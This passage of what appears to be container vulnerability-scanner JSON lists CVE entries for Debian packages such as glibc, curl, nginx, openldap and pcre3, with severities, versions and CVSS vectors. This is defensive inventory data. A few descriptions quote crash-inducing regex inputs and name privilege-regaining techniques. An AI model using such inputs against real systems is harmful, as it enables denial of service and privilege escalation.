"description": "In libssh2 v1.9.0 and earlier versions, the SSH_MSG_DISCONNECT logic in packet.c has an integer overflow in a bounds check, enabling an attacker to specify an arbitrary (out-of-bounds) offset for a subsequent memory read. A crafted SSH server may be able to disclose sensitive information or cause a denial of service condition on the client system when a user connects to the server.", "uri": "https://security-tracker.debian.org/tracker/CVE-2019-17498", "severity": "LOW", "attributes": [{"key": "package_version", "value": "1.8.0-2.1"}, {"key": "package_name", "value": "libssh2"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:M/Au:N/C:P/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "5.8"}]}, {"name": "CVE-2019-17543", "description": "LZ4 before 1.9.2 has a heap-based buffer overflow in LZ4_write32 (related to LZ4_compress_destSize), affecting applications that call LZ4_compress_fast with a large input. (This issue can also lead to data corruption.) NOTE: the vendor states \"only a few specific / uncommon usages of the API are at risk.\"", "uri": "https://security-tracker.debian.org/tracker/CVE-2019-17543", "severity": "LOW", "attributes": [{"key": "package_version", "value": "1.8.3-1+deb10u1"}, {"key": "package_name", "value": "lz4"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, {"key": "CVSS2_SCORE", "value": "6.8"}]}, {"name": "CVE-2013-0337", "description": "The default configuration of nginx, possibly 1.3.13 and earlier, uses world-readable permissions for the (1) access.log and (2) error.log files, which allows local users to obtain sensitive information by reading the files.", "uri": "https://security-tracker.debian.org/tracker/CVE-2013-0337", "severity": "LOW", "attributes": [{"key": "package_version", "value": "1.21.1-1~buster"}, {"key": "package_name", "value": "nginx"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, {"key": "CVSS2_SCORE", "value": "7.5"}]}, {"name": "CVE-2018-7169", "description": "An issue was discovered in shadow 4.5. newgidmap (in shadow-utils) is setuid and allows an unprivileged user to be placed in a user namespace where setgroups(2) is permitted. This allows an attacker to remove themselves from a supplementary group, which may allow access to certain filesystem paths if the administrator has used \"group blacklisting\" (e.g., chmod g-rwx) to restrict access to paths. This flaw effectively reverts a security feature in the kernel (in particular, the /proc/self/setgroups knob) to prevent this sort of privilege escalation.", "uri": "https://security-tracker.debian.org/tracker/CVE-2018-7169", "severity": "LOW", "attributes": [{"key": "package_version", "value": "1:4.5-1.1"}, {"key": "package_name", "value": "shadow"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}, {"key": "CVSS2_SCORE", "value": "5"}]}, {"name": "CVE-2021-37600", "description": "An integer overflow in util-linux through 2.37.1 can potentially cause a buffer overflow if an attacker were able to use system resources in a way that leads to a large number in the /proc/sysvipc/sem file.", "uri": "https://security-tracker.debian.org/tracker/CVE-2021-37600", "severity": "LOW", "attributes": [{"key": "package_version", "value": "2.33.1-0.1"}, {"key": "package_name", "value": "util-linux"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, {"key": "CVSS2_SCORE", "value": "7.5"}]}, {"name": "CVE-2011-3374", "description": "It was found that apt-key in apt, all versions, do not correctly validate gpg keys with the master keyring, leading to a potential man-in-the-middle attack.", "uri": "https://security-tracker.debian.org/tracker/CVE-2011-3374", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "1.8.2.3"}, {"key": "package_name", "value": "apt"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:M/Au:N/C:N/I:P/A:N"}, {"key": "CVSS2_SCORE", "value": "4.3"}]}, {"name": "CVE-2019-18276", "description": "An issue was discovered in disable_priv_mode in shell.c in GNU Bash through 5.0 patch 11. By default, if Bash is run with its effective UID not equal to its real UID, it will drop privileges by setting its effective UID to its real UID. However, it does so incorrectly. On Linux and other systems that support \"saved UID\" functionality, the saved UID is not dropped. An attacker with command execution in the shell can use \"enable -f\" for runtime loading of a new builtin, which can be a shared object that calls setuid() and therefore regains privileges. However, binaries running with an effective UID of 0 are unaffected.", "uri": "https://security-tracker.debian.org/tracker/CVE-2019-18276", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "5.0-4"}, {"key": "package_name", "value": "bash"}, {"key": "CVSS2_VECTOR", "value": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}, {"key": "CVSS2_SCORE", "value": "7.2"}]}, {"name": "CVE-2017-18018", "description": "In GNU Coreutils through 8.29, chown-core.c in chown and chgrp does not prevent replacement of a plain file with a symlink during use of the POSIX \"-R -L\" options, which allows local users to modify the ownership of arbitrary files by leveraging a race condition.", "uri": "https://security-tracker.debian.org/tracker/CVE-2017-18018", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "8.30-3"}, {"key": "package_name", "value": "coreutils"}, {"key": "CVSS2_VECTOR", "value": "AV:L/AC:M/Au:N/C:N/I:P/A:N"}, {"key": "CVSS2_SCORE", "value": "1.9"}]}, {"name": "CVE-2021-22923", "description": "When curl is instructed to get content using the metalink feature, and a user name and password are used to download the metalink XML file, those same credentials are then subsequently passed on to each of the servers from which curl will download or try to download the contents from. Often contrary to the user's expectations and intentions and without telling the user it happened.", "uri": "https://security-tracker.debian.org/tracker/CVE-2021-22923", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "7.64.0-4+deb10u2"}, {"key": "package_name", "value": "curl"}]}, {"name": "CVE-2021-22922", "description": "When curl is instructed to download content using the metalink feature, thecontents is verified against a hash provided in the metalink XML file.The metalink XML file points out to the client how to get the same contentfrom a set of different URLs, potentially hosted by different servers and theclient can then download the file from one or several of them. In a serial orparallel manner.If one of the servers hosting the contents has been breached and the contentsof the specific file on that server is replaced with a modified payload, curlshould detect this when the hash of the file mismatches after a completeddownload. It should remove the contents and instead try getting the contentsfrom another URL. This is not done, and instead such a hash mismatch is onlymentioned in text and the potentially malicious content is kept in the file ondisk.", "uri": "https://security-tracker.debian.org/tracker/CVE-2021-22922", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "7.64.0-4+deb10u2"}, {"key": "package_name", "value": "curl"}]}, {"name": "CVE-2013-0340", "description": "expat 2.1.0 and earlier does not properly handle entities expansion unless an application developer uses the XML_SetEntityDeclHandler function, which allows remote attackers to cause a denial of service (resource consumption), send HTTP requests to intranet servers, or read arbitrary files via a crafted XML document, aka an XML External Entity (XXE) issue. NOTE: it could be argued that because expat already provides the ability to disable external entity expansion, the responsibility for resolving this issue lies with application developers; according to this argument, this entry should be REJECTed, and each affected application would need its own CVE.", "uri": "https://security-tracker.debian.org/tracker/CVE-2013-0340", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "2.2.6-2+deb10u1"}, {"key": "package_name", "value": "expat"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, {"key": "CVSS2_SCORE", "value": "6.8"}]}, {"name": "CVE-2019-1010023", "description": "** DISPUTED ** GNU Libc current is affected by: Re-mapping current loaded library with malicious ELF file. The impact is: In worst case attacker may evaluate privileges. The component is: libld. The attack vector is: Attacker sends 2 ELF files to victim and asks to run ldd on it. ldd execute code. NOTE: Upstream comments indicate \"this is being treated as a non-security bug and no real threat.\"", "uri": "https://security-tracker.debian.org/tracker/CVE-2019-1010023", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "2.28-10"}, {"key": "package_name", "value": "glibc"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, {"key": "CVSS2_SCORE", "value": "6.8"}]}, {"name": "CVE-2010-4051", "description": "The regcomp implementation in the GNU C Library (aka glibc or libc6) through 2.11.3, and 2.12.x through 2.12.2, allows context-dependent attackers to cause a denial of service (application crash) via a regular expression containing adjacent bounded repetitions that bypass the intended RE_DUP_MAX limitation, as demonstrated by a {10,}{10,}{10,}{10,}{10,} sequence in the proftpd.gnu.c exploit for ProFTPD, related to a \"RE_DUP_MAX overflow.\"", "uri": "https://security-tracker.debian.org/tracker/CVE-2010-4051", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "2.28-10"}, {"key": "package_name", "value": "glibc"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:L/Au:N/C:N/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "5"}]}, {"name": "CVE-2019-1010022", "description": "** DISPUTED ** GNU Libc current is affected by: Mitigation bypass. The impact is: Attacker may bypass stack guard protection. The component is: nptl. The attack vector is: Exploit stack buffer overflow vulnerability and use this bypass vulnerability to bypass stack guard. NOTE: Upstream comments indicate \"this is being treated as a non-security bug and no real threat.\"", "uri": "https://security-tracker.debian.org/tracker/CVE-2019-1010022", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "2.28-10"}, {"key": "package_name", "value": "glibc"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, {"key": "CVSS2_SCORE", "value": "7.5"}]}, {"name": "CVE-2010-4052", "description": "Stack consumption vulnerability in the regcomp implementation in the GNU C Library (aka glibc or libc6) through 2.11.3, and 2.12.x through 2.12.2, allows context-dependent attackers to cause a denial of service (resource exhaustion) via a regular expression containing adjacent repetition operators, as demonstrated by a {10,}{10,}{10,}{10,} sequence in the proftpd.gnu.c exploit for ProFTPD.", "uri": "https://security-tracker.debian.org/tracker/CVE-2010-4052", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "2.28-10"}, {"key": "package_name", "value": "glibc"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:L/Au:N/C:N/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "5"}]}, {"name": "CVE-2019-1010024", "description": "** DISPUTED ** GNU Libc current is affected by: Mitigation bypass. The impact is: Attacker may bypass ASLR using cache of thread stack and heap. The component is: glibc. NOTE: Upstream comments indicate \"this is being treated as a non-security bug and no real threat.\"", "uri": "https://security-tracker.debian.org/tracker/CVE-2019-1010024", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "2.28-10"}, {"key": "package_name", "value": "glibc"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}, {"key": "CVSS2_SCORE", "value": "5"}]}, {"name": "CVE-2010-4756", "description": "The glob implementation in the GNU C Library (aka glibc or libc6) allows remote authenticated users to cause a denial of service (CPU and memory consumption) via crafted glob expressions that do not match any pathnames, as demonstrated by glob expressions in STAT commands to an FTP daemon, a different vulnerability than CVE-2010-2632.", "uri": "https://security-tracker.debian.org/tracker/CVE-2010-4756", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "2.28-10"}, {"key": "package_name", "value": "glibc"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:L/Au:S/C:N/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "4"}]}, {"name": "CVE-2019-1010025", "description": "** DISPUTED ** GNU Libc current is affected by: Mitigation bypass. The impact is: Attacker may guess the heap addresses of pthread_created thread. The component is: glibc. NOTE: the vendor's position is \"ASLR bypass itself is not a vulnerability.\"", "uri": "https://security-tracker.debian.org/tracker/CVE-2019-1010025", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "2.28-10"}, {"key": "package_name", "value": "glibc"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}, {"key": "CVSS2_SCORE", "value": "5"}]}, {"name": "CVE-2018-20796", "description": "In the GNU C Library (aka glibc or libc6) through 2.29, check_dst_limits_calc_pos_1 in posix/regexec.c has Uncontrolled Recursion, as demonstrated by '(\\227|)(\\\\1\\\\1|t1|\\\\\\2537)+' in grep.", "uri": "https://security-tracker.debian.org/tracker/CVE-2018-20796", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "2.28-10"}, {"key": "package_name", "value": "glibc"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:L/Au:N/C:N/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "5"}]}, {"name": "CVE-2019-9192", "description": "** DISPUTED ** In the GNU C Library (aka glibc or libc6) through 2.29, check_dst_limits_calc_pos_1 in posix/regexec.c has Uncontrolled Recursion, as demonstrated by '(|)(\\\\1\\\\1)*' in grep, a different issue than CVE-2018-20796. NOTE: the software maintainer disputes that this is a vulnerability because the behavior occurs only with a crafted pattern.", "uri": "https://security-tracker.debian.org/tracker/CVE-2019-9192", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "2.28-10"}, {"key": "package_name", "value": "glibc"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:L/Au:N/C:N/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "5"}]}, {"name": "CVE-2011-3389", "description": "The SSL protocol, as used in certain configurations in Microsoft Windows and Microsoft Internet Explorer, Mozilla Firefox, Google Chrome, Opera, and other products, encrypts data by using CBC mode with chained initialization vectors, which allows man-in-the-middle attackers to obtain plaintext HTTP headers via a blockwise chosen-boundary attack (BCBA) on an HTTPS session, in conjunction with JavaScript code that uses (1) the HTML5 WebSocket API, (2) the Java URLConnection API, or (3) the Silverlight WebClient API, aka a \"BEAST\" attack.", "uri": "https://security-tracker.debian.org/tracker/CVE-2011-3389", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "3.6.7-4+deb10u7"}, {"key": "package_name", "value": "gnutls28"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:M/Au:N/C:P/I:N/A:N"}, {"key": "CVSS2_SCORE", "value": "4.3"}]}, {"name": "CVE-2021-30535", "description": "Double free in ICU in Google Chrome prior to 91.0.4472.77 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page.", "uri": "https://security-tracker.debian.org/tracker/CVE-2021-30535", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "63.1-6+deb10u1"}, {"key": "package_name", "value": "icu"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, {"key": "CVSS2_SCORE", "value": "6.8"}]}, {"name": "CVE-2017-9937", "description": "In LibTIFF 4.0.8, there is a memory malloc failure in tif_jbig.c. A crafted TIFF document can lead to an abort resulting in a remote denial of service attack.", "uri": "https://security-tracker.debian.org/tracker/CVE-2017-9937", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "2.1-3.1"}, {"key": "package_name", "value": "jbigkit"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:M/Au:N/C:N/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "4.3"}]}, {"name": "CVE-2018-5709", "description": "An issue was discovered in MIT Kerberos 5 (aka krb5) through 1.16. There is a variable \"dbentry->n_key_data\" in kadmin/dbutil/dump.c that can store 16-bit data but unknowingly the developer has assigned a \"u4\" variable to it, which is for 32-bit data. An attacker can use this vulnerability to affect other artifacts of the database as we know that a Kerberos database dump file contains trusted data.", "uri": "https://security-tracker.debian.org/tracker/CVE-2018-5709", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "1.17-3+deb10u1"}, {"key": "package_name", "value": "krb5"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:L/Au:N/C:N/I:P/A:N"}, {"key": "CVSS2_SCORE", "value": "5"}]}, {"name": "CVE-2021-36222", "description": "ec_verify in kdc/kdc_preauth_ec.c in the Key Distribution Center (KDC) in MIT Kerberos 5 (aka krb5) before 1.18.4 and 1.19.x before 1.19.2 allows remote attackers to cause a NULL pointer dereference and daemon crash. This occurs because a return value is not properly managed in a certain situation.", "uri": "https://security-tracker.debian.org/tracker/CVE-2021-36222", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "1.17-3+deb10u1"}, {"key": "package_name", "value": "krb5"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:L/Au:N/C:N/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "5"}]}, {"name": "CVE-2004-0971", "description": "The krb5-send-pr script in the kerberos5 (krb5) package in Trustix Secure Linux 1.5 through 2.1, and possibly other operating systems, allows local users to overwrite files via a symlink attack on temporary files.", "uri": "https://security-tracker.debian.org/tracker/CVE-2004-0971", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "1.17-3+deb10u1"}, {"key": "package_name", "value": "krb5"}, {"key": "CVSS2_VECTOR", "value": "AV:L/AC:L/Au:N/C:N/I:P/A:N"}, {"key": "CVSS2_SCORE", "value": "2.1"}]}, {"name": "CVE-2018-6829", "description": "cipher/elgamal.c in Libgcrypt through 1.8.2, when used to encrypt messages directly, improperly encodes plaintexts, which allows attackers to obtain sensitive information by reading ciphertext data (i.e., it does not have semantic security in face of a ciphertext-only attack). The Decisional Diffie-Hellman (DDH) assumption does not hold for Libgcrypt's ElGamal implementation.", "uri": "https://security-tracker.debian.org/tracker/CVE-2018-6829", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "1.8.4-5+deb10u1"}, {"key": "package_name", "value": "libgcrypt20"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}, {"key": "CVSS2_SCORE", "value": "5"}]}, {"name": "CVE-2018-11813", "description": "libjpeg 9c has a large loop because read_pixel in rdtarga.c mishandles EOF.", "uri": "https://security-tracker.debian.org/tracker/CVE-2018-11813", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "1:1.5.2-2+deb10u1"}, {"key": "package_name", "value": "libjpeg-turbo"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:L/Au:N/C:N/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "5"}]}, {"name": "CVE-2020-17541", "description": "Libjpeg-turbo all version have a stack-based buffer overflow in the \"transform\" component. A remote attacker can send a malformed jpeg file to the service and cause arbitrary code execution or denial of service of the target service.", "uri": "https://security-tracker.debian.org/tracker/CVE-2020-17541", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "1:1.5.2-2+deb10u1"}, {"key": "package_name", "value": "libjpeg-turbo"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, {"key": "CVSS2_SCORE", "value": "6.8"}]}, {"name": "CVE-2017-15232", "description": "libjpeg-turbo 1.5.2 has a NULL Pointer Dereference in jdpostct.c and jquant1.c via a crafted JPEG file.", "uri": "https://security-tracker.debian.org/tracker/CVE-2017-15232", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "1:1.5.2-2+deb10u1"}, {"key": "package_name", "value": "libjpeg-turbo"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:M/Au:N/C:N/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "4.3"}]}, {"name": "CVE-2018-14048", "description": "An issue has been found in libpng 1.6.34. It is a SEGV in the function png_free_data in png.c, related to the recommended error handling for png_read_image.", "uri": "https://security-tracker.debian.org/tracker/CVE-2018-14048", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "1.6.36-6"}, {"key": "package_name", "value": "libpng1.6"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:M/Au:N/C:N/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "4.3"}]}, {"name": "CVE-2019-6129", "description": "** DISPUTED ** png_create_info_struct in png.c in libpng 1.6.36 has a memory leak, as demonstrated by pngcp. NOTE: a third party has stated \"I don't think it is libpng's job to free this buffer.\"", "uri": "https://security-tracker.debian.org/tracker/CVE-2019-6129", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "1.6.36-6"}, {"key": "package_name", "value": "libpng1.6"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:M/Au:N/C:N/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "4.3"}]}, {"name": "CVE-2018-14550", "description": "An issue has been found in third-party PNM decoding associated with libpng 1.6.35. It is a stack-based buffer overflow in the function get_token in pnm2png.c in pnm2png.", "uri": "https://security-tracker.debian.org/tracker/CVE-2018-14550", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "1.6.36-6"}, {"key": "package_name", "value": "libpng1.6"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, {"key": "CVSS2_SCORE", "value": "6.8"}]}, {"name": "CVE-2019-9893", "description": "libseccomp before 2.4.0 did not correctly generate 64-bit syscall argument comparisons using the arithmetic operators (LT, GT, LE, GE), which might able to lead to bypassing seccomp filters and potential privilege escalations.", "uri": "https://security-tracker.debian.org/tracker/CVE-2019-9893", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "2.3.3-4"}, {"key": "package_name", "value": "libseccomp"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, {"key": "CVSS2_SCORE", "value": "7.5"}]}, {"name": "CVE-2018-1000654", "description": "GNU Libtasn1-4.13 libtasn1-4.13 version libtasn1-4.13, libtasn1-4.12 contains a DoS, specifically CPU usage will reach 100% when running asn1Paser against the POC due to an issue in _asn1_expand_object_id(p_tree), after a long time, the program will be killed. This attack appears to be exploitable via parsing a crafted file.", "uri": "https://security-tracker.debian.org/tracker/CVE-2018-1000654", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "4.13-3"}, {"key": "package_name", "value": "libtasn1-6"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:M/Au:N/C:N/I:N/A:C"}, {"key": "CVSS2_SCORE", "value": "7.1"}]}, {"name": "CVE-2016-9085", "description": "Multiple integer overflows in libwebp allows attackers to have unspecified impact via unknown vectors.", "uri": "https://security-tracker.debian.org/tracker/CVE-2016-9085", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "0.6.1-2+deb10u1"}, {"key": "package_name", "value": "libwebp"}, {"key": "CVSS2_VECTOR", "value": "AV:L/AC:L/Au:N/C:N/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "2.1"}]}, {"name": "CVE-2015-9019", "description": "In libxslt 1.1.29 and earlier, the EXSLT math.random function was not initialized with a random seed during startup, which could cause usage of this function to produce predictable outputs.", "uri": "https://security-tracker.debian.org/tracker/CVE-2015-9019", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "1.1.32-2.2~deb10u1"}, {"key": "package_name", "value": "libxslt"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}, {"key": "CVSS2_SCORE", "value": "5"}]}, {"name": "CVE-2009-4487", "description": "nginx 0.7.64 writes data to a log file without sanitizing non-printable characters, which might allow remote attackers to modify a window's title, or possibly execute arbitrary commands or overwrite files, via an HTTP request containing an escape sequence for a terminal emulator.", "uri": "https://security-tracker.debian.org/tracker/CVE-2009-4487", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "1.21.1-1~buster"}, {"key": "package_name", "value": "nginx"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, {"key": "CVSS2_SCORE", "value": "6.8"}]}, {"name": "CVE-2020-15719", "description": "libldap in certain third-party OpenLDAP packages has a certificate-validation flaw when the third-party package is asserting RFC6125 support. It considers CN even when there is a non-matching subjectAltName (SAN). This is fixed in, for example, openldap-2.4.46-10.el8 in Red Hat Enterprise Linux.", "uri": "https://security-tracker.debian.org/tracker/CVE-2020-15719", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "2.4.47+dfsg-3+deb10u6"}, {"key": "package_name", "value": "openldap"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:H/Au:N/C:P/I:P/A:N"}, {"key": "CVSS2_SCORE", "value": "4"}]}, {"name": "CVE-2015-3276", "description": "The nss_parse_ciphers function in libraries/libldap/tls_m.c in OpenLDAP does not properly parse OpenSSL-style multi-keyword mode cipher strings, which might cause a weaker than intended cipher to be used and allow remote attackers to have unspecified impact via unknown vectors.", "uri": "https://security-tracker.debian.org/tracker/CVE-2015-3276", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "2.4.47+dfsg-3+deb10u6"}, {"key": "package_name", "value": "openldap"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:L/Au:N/C:N/I:P/A:N"}, {"key": "CVSS2_SCORE", "value": "5"}]}, {"name": "CVE-2017-14159", "description": "slapd in OpenLDAP 2.4.45 and earlier creates a PID file after dropping privileges to a non-root account, which might allow local users to kill arbitrary processes by leveraging access to this non-root account for PID file modification before a root script executes a \"kill `cat /pathname`\" command, as demonstrated by openldap-initscript.", "uri": "https://security-tracker.debian.org/tracker/CVE-2017-14159", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "2.4.47+dfsg-3+deb10u6"}, {"key": "package_name", "value": "openldap"}, {"key": "CVSS2_VECTOR", "value": "AV:L/AC:M/Au:N/C:N/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "1.9"}]}, {"name": "CVE-2017-17740", "description": "contrib/slapd-modules/nops/nops.c in OpenLDAP through 2.4.45, when both the nops module and the memberof overlay are enabled, attempts to free a buffer that was allocated on the stack, which allows remote attackers to cause a denial of service (slapd crash) via a member MODDN operation.", "uri": "https://security-tracker.debian.org/tracker/CVE-2017-17740", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "2.4.47+dfsg-3+deb10u6"}, {"key": "package_name", "value": "openldap"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:L/Au:N/C:N/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "5"}]}, {"name": "CVE-2010-0928", "description": "OpenSSL 0.9.8i on the Gaisler Research LEON3 SoC on the Xilinx Virtex-II Pro FPGA uses a Fixed Width Exponentiation (FWE) algorithm for certain signature calculations, and does not verify the signature before providing it to a caller, which makes it easier for physically proximate attackers to determine the private key via a modified supply voltage for the microprocessor, related to a \"fault-based attack.\"", "uri": "https://security-tracker.debian.org/tracker/CVE-2010-0928", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "1.1.1d-0+deb10u6"}, {"key": "package_name", "value": "openssl"}, {"key": "CVSS2_VECTOR", "value": "AV:L/AC:H/Au:N/C:C/I:N/A:N"}, {"key": "CVSS2_SCORE", "value": "4"}]}, {"name": "CVE-2007-6755", "description": "The NIST SP 800-90A default statement of the Dual Elliptic Curve Deterministic Random Bit Generation (Dual_EC_DRBG) algorithm contains point Q constants with a possible relationship to certain \"skeleton key\" values, which might allow context-dependent attackers to defeat cryptographic protection mechanisms by leveraging knowledge of those values. NOTE: this is a preliminary CVE for Dual_EC_DRBG; future research may provide additional details about point Q and associated attacks, and could potentially lead to a RECAST or REJECT of this CVE.", "uri": "https://security-tracker.debian.org/tracker/CVE-2007-6755", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "1.1.1d-0+deb10u6"}, {"key": "package_name", "value": "openssl"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:M/Au:N/C:P/I:P/A:N"}, {"key": "CVSS2_SCORE", "value": "5.8"}]}, {"name": "CVE-2017-7246", "description": "Stack-based buffer overflow in the pcre32_copy_substring function in pcre_get.c in libpcre1 in PCRE 8.40 allows remote attackers to cause a denial of service (WRITE of size 268) or possibly have unspecified other impact via a crafted file.", "uri": "https://security-tracker.debian.org/tracker/CVE-2017-7246", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "2:8.39-12"}, {"key": "package_name", "value": "pcre3"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, {"key": "CVSS2_SCORE", "value": "6.8"}]}, {"name": "CVE-2019-20838", "description": "libpcre in PCRE before 8.43 allows a subject buffer over-read in JIT when UTF is disabled, and \\X or \\R has more than one fixed quantifier, a related issue to CVE-2019-20454.", "uri": "https://security-tracker.debian.org/tracker/CVE-2019-20838", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "2:8.39-12"}, {"key": "package_name", "value": "pcre3"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:M/Au:N/C:N/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "4.3"}]}, {"name": "CVE-2017-7245", "description": "Stack-based buffer overflow in the pcre32_copy_substring function in pcre_get.c in libpcre1 in PCRE 8.40 allows remote attackers to cause a denial of service (WRITE of size 4) or possibly have unspecified other impact via a crafted file.", "uri": "https://security-tracker.debian.org/tracker/CVE-2017-7245", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "2:8.39-12"}, {"key": "package_name", "value": "pcre3"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, {"key": "CVSS2_SCORE", "value": "6.8"}]}, {"name": "CVE-2017-16231", "description": "** DISPUTED ** In PCRE 8.41, after compiling, a pcretest load test PoC produces a crash overflow in the function match() in pcre_exec.c because of a self-recursive call. NOTE: third parties dispute the relevance of this report, noting that there are options that can be used to limit the amount of stack that is used.", "uri": "https://security-tracker.debian.org/tracker/CVE-2017-16231", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "2:8.39-12"}, {"key": "package_name", "value": "pcre3"}, {"key": "CVSS2_VECTOR", "value": "AV:L/AC:L/Au:N/C:N/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "2.1"}]}, {"name": "CVE-2017-11164", "description": "In PCRE 8.41, the OP_KETRMAX feature in the match function in pcre_exec.c allows stack exhaustion (uncontrolled recursion) when processing a crafted regular expression.", "uri": "https://security-tracker.debian.org/tracker/CVE-2017-11164", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "2:8.39-12"}, {"key": "package_name", "value": "pcre3"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:L/Au:N/C:N/I:N/A:C"}, {"key": "CVSS2_SCORE", "value": "7.8"}]}, {"name": "CVE-2011-4116", "description": "_is_safe in the File::Temp module for Perl does not properly handle symlinks.", "uri": 